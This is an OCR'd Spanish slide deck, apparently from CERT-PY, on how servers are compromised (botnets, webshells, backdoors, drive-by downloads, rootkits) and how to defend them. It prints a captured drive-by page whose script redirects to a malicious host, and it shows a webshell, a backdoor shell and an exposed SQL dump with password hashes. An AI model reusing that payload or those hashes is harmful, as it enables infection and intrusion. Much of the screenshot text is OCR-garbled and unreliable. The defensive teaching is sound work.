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Disclaimer

Todo el contenido de esta presentacion es unicamente con fines
didacticos y educativos. El uso indebido de las técnicas y/o conocimientos
utilizadas en esta presentacion puede ir en contra de las leyes nacionales
e internacionales. El autor no se hace responsable por el uso del
conocimiento contenido en la siguiente presentacion. La informacion
contenida debe ser utilizada unicamente para fines eticos y con la debida
autorizacion.
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Riesgos y Amenazas

ESTADOS EXTRANJEROS
ERRORES HUMANOS FENOMENOS NATURALES

CAUSAS TECNICAS CONFLICTOS '
HACKING AMENAZAS INTERNAS

CIBERESPACIO
CRIMEN ORGANZADO
SABOTAJE
HACKTIVISMO INDIVIDUOS AISLADOS

ESPIONAJE
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Botnets

Red de equipos infectados (bots o zombies) controlada por el artifice de la botnet
(botmaster) de forma remota, por lo general a través de servidores de Comando y
Control (C&C).

Botmaster
st e
ST Com}and and Control ™ ~__
Server
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Botnets (1)
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Estadisticas C&C

a single location .4
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¢ Por queé servidores?

Mayor ancho de banda

Mayor capacidad de procesamiento
Uptime 24x7x365

Poca interaccion con el usuario
Mayor exposicion desde Internet
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; Para queé servidores?

DoS/DDoS

Spam

Distribucion de malware
Proxies maliciosos
Click Fraud

Phishing

Hacktivismo

., Como entran? ...
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Webshell y
Backdoors
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Webshells

Eile [Edit Miew Higtory Hookmarks Tocls Help

Uname: Linux
User: 48 ( apache ) Group: 48 | apache ] Sarver IP:
.2.12 safe mod [ phpinfo ] Datetinee: 2010-05-04 1 3 = .

{9 1%)

. Llhent 1P
hittpdocs, [ home ]

[ Sec. Info ] [ Files ] [ Console ] [ 5al ] [ Safe mode ] [ String tools ] | Bruteforce ] [ MNebwork ] [ Self remove ]
I File manager

W name Modify Crwinar/Group Parmissions
B [ downloads | 2010-05-02 16:25: drwxr-xr-x
B [ pictures ] i 2010-05-04 00:49: drwr-xXr-%
W index.htm 2010-05-02 16:48 “FW-r--r--
B logo.png 2010-05-02 16:14:06 s e
M shell.php 56 S
[copy

Changedir: read file:

Make dir: Make file:

ExEcuili: Upload file:

I | :rovsc
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Backdoor

Un “hueco” por donde un atacante puede tomar control de un sistema
sin necesidad de explotar vulnerabilidades, evitando las medidas de
seguridad implementadas.

Invisibles para el usuario

Se ejecutan en modo silencioso al iniciar el sistema.

Pueden tener acceso total a las funciones del host-victima.

Son dificiles de eliminar ya que se instalan en carpetas de sistema,
registros o cualquier direccion.

Usa un programa blinder para configurar y disfrazar al servidor
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Backdoor (1)

ost Llookup failed: Unk error : Connectilon timed out
5.212.1] from (UNENOWN) [172.1 34529

) gid=65534(nogroup) groups=65534(nogroup)
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Como detectarlos?

Herramientas y técnicas:

Findbot: http://cbl.abuseat.org/findbot.pl
Shelldetect: http://shelldetector.com/
img-analize.sh: script desarrollado por el CERT-PY
Comandos utiles: grep, find, locate, ps, netstat

Posibles indicadores:

Nombres de archivos extrafios o desconocidos
Patrones atipicos

Permisos, duefios y grupos

Fechas de creacion y modificacion

Procesos extrafios o desconocidos
Conexiones y puertos extrafios o desconocidos
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Servidores como plataforma de
distribucion de Malware
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Drive by Download

e SOlo se requiere que un usuario abra una pagina web en el
navegador para infectarlo.
e El payload malicioso explota una vulnerabilidad y se ejecuta

ama-’-gpfgm

(—“1 Javascript Exploit ‘ InfectedSlte{LandlngS|te]

\_ -
| Malware %

Malware Server
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Drive by Download (1)

<html=

<head=

=meta http-equiv="Content-Type" content="text/html; charset=utf-8"=
</head>

l<body=

<scripts

varx=1>0
function go2() { location.replace("http://mp3raid.pw") }

Fulr}iiﬁlgﬁ{ &1 302 HITP rpdraid.pa |
el ¢ o 200  HTTP ik, 12evadol.info  [7aBde736afE54F81 d7 7S dfaefeBefcat=y BRA0F 4ebbebS04fcFo0azorabha
try {

var html = '«form target="_parent" action="http://mp3raid.pw">'
html += '<input type="hidden" name="" value="" f></Form>'
window.frames[0].document.body.innerHTML = html
window.frames[0].document.forms[0].submit()

}eatchle) {
go2()

}
< fscripks
<iframe onload="window.setTimeout{'gol)’, 300)" src="about:blank" style="visibility:hidden"=

</iframe=
<script>window.setTimeout('go2()', 9999)</scripts=
</body>

</html>
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Cuando la webshell no es suficiente..

d8888b. .d8S8b. .d88b. dBBBBEEb d888888b db db d88888b d8888b. .d88b. db db
88 "8D .8P Y8. .8P Y¥8. "-—-B8—' “--88-~' 88 88 88" 88 "8D .8P ¥8. "8b d8'
88oob¥Y"' 88 88 88 88 88 88 8800088 BBooooo BBoooY' 88 88 “8bds’
88" 8b a8 88 88 a8 a8 88---88 88 88---b. 88 88 .dPYb.
88 "88. "8b d8' "8b d8’ a8 88 88 88. 88 8D "8b d8' .8P Y8.
88 ¥D “Y88P' “Y88P"' ¥P YP YP YB8888P Y8888P' “Y88P' Y¥YP YP

nlitecat
=86

- rtb ug 2013 -




SECRETARIA _SNVTENG,
NACIONAL DETECNOLOGIAS S o) \'
DE LA INFORMACION ¥ GOBIERNOY NACIONAL

Y COMUNICACION agendaDigital

CERT-PY

Vulnerabilidades y exploits

v 0Day =% Get Gold « = f& .
Contact us: %5 ‘ ] @ | authorization | | registr restore account

- ‘ti t"‘ill! *1111:}1IJ1
ais

Inj3ctOr is the ultimate se of exploits and vuln eal
m is to n submitt C iling lists and « = E: 0 one,
written solely lucational purpo: e i rown rsk. suthor will be not responsible for 2

How to buy exploit? Two ways to buy required exploit. Currency, that we accept.
1. Anonymous buy f exploits is the way to buy exploit without 2. Another v iy exploits is to became Oday.today 1337day user, get
reqgistration. You buy it directly and anonymous and get exploit on mail. Dday 3. y id w® and buy required exploit in our database.

We accept currencies: [ ]

Search

Oday.today 1337day Inj3ctOr Exploits Market and Oday Exploits Database

P

Heroes Of Might And Magic III .h3m Map File Buffer Overflow Exploit




SECRETARIA

NACIONAL DE TECNOLOGIAS
DE LA INFORMACION
Y COMUNICACION

”

\

GOBIERNO\ NACIONAL

Construyendo Juntos Un Nuevo Rumbo

agendaDigital

CERT-PY

Vulnerabilidades y exploits (1)
EXPLOIT »
DATABASE
Offensive Security Exploit Database Archive 34045

Exploits Archived

Home Exploits Shellcode Papers Google Hacking Database Submit Search

The Exploit Database - ultimate archive of Exploits. Shellcode, and Security Papers. Mew to the site? Learn about the Exploit Database

Google Hacking Database [

The Google Hacking Database (GHDE) is a collection of interesting b p— ] —
Google searches which find, identify e information which Gac) .‘ \ * | __\l
could be useful for penetration testers or security auditors such as | | il

advertised vulnerabilities, exposed credentials and more. 't

Visit the Google Hacking Daiabase

~ BY.OFFENSIVESECURITY

Remote Exploits = f v 0O 8

Date D A VvV Title Platform Author

W SysAid

(¢ xy R
Web Application Exploits
Date D AV Title Platform Airthor

& phpFileManager 0.0.8 - CSRF Vulnerability




"~ BYPASS ROOT

$root

R W T




SECRETARIA o
\J

NACIONAL DE TECNOLOGIAS \
DELAINFORMACION GOBIERNO) NACIONAL
Y COMUNICACION agendaDigital
CERT-PY
Rootkit

Herramienta cuya finalidad es esconderse a si misma, esconder
otros programas, procesos, directorios, archivos y conexiones, que
permite a usuarios no autorizados mantener el acceso y comandar
remotamente nuestro equipo.

100101 : -_;-n‘i LT [
11070000117 4109 Miase O
iy HLW A

0 25225121101
" 2982101002323
I -
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Detectando Rootkits

En servidores Linux:
ClamAV

unhide.rb / unhide
Rkhunter
Chkrootkit

4[}}}

/ > REINSTALACION DE S.O.
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Como protegernos?
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Actualizacion

e Sistema Operativo:
o Linux, Windows Server

e Software:

MySQL

PHP

Apache

Zimbra

Librerias: OpenSSL, glibC, etc.
BIND

Paquetes adicionales

O O O O O O O
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Actualizacion (1)
Aplicaciones Web:

CMS: Wordpress, Joomla, Concreteb, Alfresco, Liferay
Plugins y componentes

Temas y plantillas

Librerias: PHP, Java, ASP.NET, Ruby On Rails, Python, PERL
Servidor: Apache, lIS, nginx

Base de datos: MySQL, Oracle, MSSQL

Database

Joomila! Framework
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Contrasena robustas

e Longitud: minimo 12 caracteres — no hay maximo
e Combinacion de caracteres
e Usar frases en vez de palabras
e No usar palabras comunes o de “diccionario”
DATO:
Contrasefias mas comunes:
1) 123456
. 2) password
1231233?%@%@1? qwerty - Img;n i 2; ;@:’;4::78
111111 assh1w230 r? =ﬂ 23@5% 5) abc1 23
trustno1 *™
12345678 800 = 6) 111111

654321
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Buenas practicas de contraseinas

e No usar la misma contrasefa para todo
e Cambiar contrasenas regularmente
e Cambiar las contrasenas por defecto

e No escribirlas en papeles o documentos accesibles

Q, Buscar | ﬁ ﬁ 4 9 » v

€ | @ monitor.copaco.com.py/php-syslog-ng/script EJ -

-- Table structure for table ‘users

DROP TABLE IF EXISTS “users’;

CREATE TABLE ‘users’ |
"username’ varchar(32) NOT NULL default '',
‘pwhash’ char(4@) default NULL,
‘sessionid’ char(32) default NULL,
"exptime’ datetime default NULL,
PRIMARY KEY ( username’)

) ENGINE=MyISAM DEFAULT CHARSET=latinl;

- Dumping data for table ‘users’

/#140086 ALTER TABLE 'users’ DISABLE KEYS */;

LOCK TABLES ‘users’ WRITE;

INSERT INTO ‘users’ VALUES ('admin','cbch57332ea0290af7ca6b6ldf97e644 ", 'b7f3507d9814782b3beeced8a2280913 ", ' 0OOO-00-00
00:00:00'),('demo’, ' feBlce2a7fbac8fafaed7c982a04e229' , 'bcdc7030ed10d4e46T01F11Fc 921031, '2007-09-14 11:56:12");
UNLOCK TABLES;

/#140000 ALTER TABLE ‘users’ ENABLE KEYS */;

/%140103 SET TIME ZONE=@OLD TIME ZONE */;

/*#140101 SET SQL MODE=GOLD SOL MODE */;
/*140014 SET FOREIGN KEY CHECKS=@OLD FOREIGN KEY CHECKS */;
/*140014 SET UNIQUE CHECKS=@OLD UNIQUE CHECKS */;

/*140101 SET CHARACTER SET CLIENT=@O0LD _CHARACTER SET CLIENT */;

”
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Autenticacion de doble factor

-Medida de seguridad adicional al usuario y contrasena

Usuario + Contraseiia + CODIGO DE SEGURIDAD

1) Algo que el usuario sabe @ — contrasena
2) Algo que el usuario tiene — teléfono

3) Algo que el usuarioes — huella dactilar
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Autenticacion de doble factor (1)

e Implementacion de OTP con Google Authenticator para proteger SSH

ay make

5 sion.
3ﬂua11}
MEW packages will be installed:

@ to remove and @ not upgraded.

additional disk space will be used.

kali/main Libpam@g-dev amd&4 1.1.3-7.1 [151 KE]

6
man

:~#
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Hardening de SO y aplicaciones

Haciéndole la vida dificil al atacante

Desactivar y/o desinstalar servicios y software innecesarios

Evitar usar usuario root — Usar sudo

Implementar politicas de administracion de usuarios y contrasenas
Otorgar los minimos privilegios necesarios

Implementar limites de intentos fallidos de autenticacion
Desactivar SUID no deseado y SGID Binarios

Activar y configurar logs de auditoria

Utilizar SELinux

Implementar mecanismos de backup
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Firewall de Aplicacion Web (WAF)

ModSecurity
OpenWAF
Ironbee
ESAPI WAF
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Seguridad Perimetral

Firewall + IDS/IPS + SIEM

Iptables
CSF utl 24 AN &l X

DASHBOARDS ANALYSIS ENVIRONMENT REPORTS CONFIGURATION

S n O rt OVERVIEW )

EXECUTIVE TICKETS SECURITY TAXONOMY VULNERABILITIES COMPLIANCE , @ X

[l
S u rI Cata SECURITY EVENTS: TOP 5 ALARMS B SIEM: TOP 10 EVENT CATEGORIES N TOP OTX ACTIVITY IN YOUR ENVIRONMENT = 7

16% 10%

CHINA DDOS
ELF MALWARE

NO
INFORMATION
O S S I M kg
GAMAPOS:
490 ANDROMEDA
BO..
59% aZEHSY
245
Authentication @ Network L
® Alert @ Malware VarERHOLE
® Info ® Alarm
i - @ Suspicious ® Access
® System ® Recon ) 103 206 310 413 516 61
LATEST SIEM VS LOGGER EVENTS R TOP 10 HOSTS WITH MULTIPLE EVENTS i SIEM: EVENTS BY SENSOR/DATA SOURCE =i
Al T HIDS
216.87.109.62 .
- ALIENVAULT SUDO
1sz168.100.65 [ i
EALESEN |
se202116124 [ ARUBA-8 ANOM,
1085018576 [N
BERCICE | @ VirtualUSMAIInOne -
172.31.42.253 _ FORTIGATE" e
192.168.100.74 PAM_UNIX
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Defensa en Profundidad

Policies,
Procedures
& Awareness

Physical

Network

Computer




SECRETARIA

NACIONAL DE TECNOLOGIAS
DE LA INFORMACION
Y COMUNICACION

§

GOBIERNO\ NACIONAL

oooooooooooooooooooooooooooooo

agendaDigital

CERT-PY

Muchas gracias!

C ERT PY www.cert.gov.py

denuncias: abuse@cert.gov.py
contactos: cert@cert.gov.py



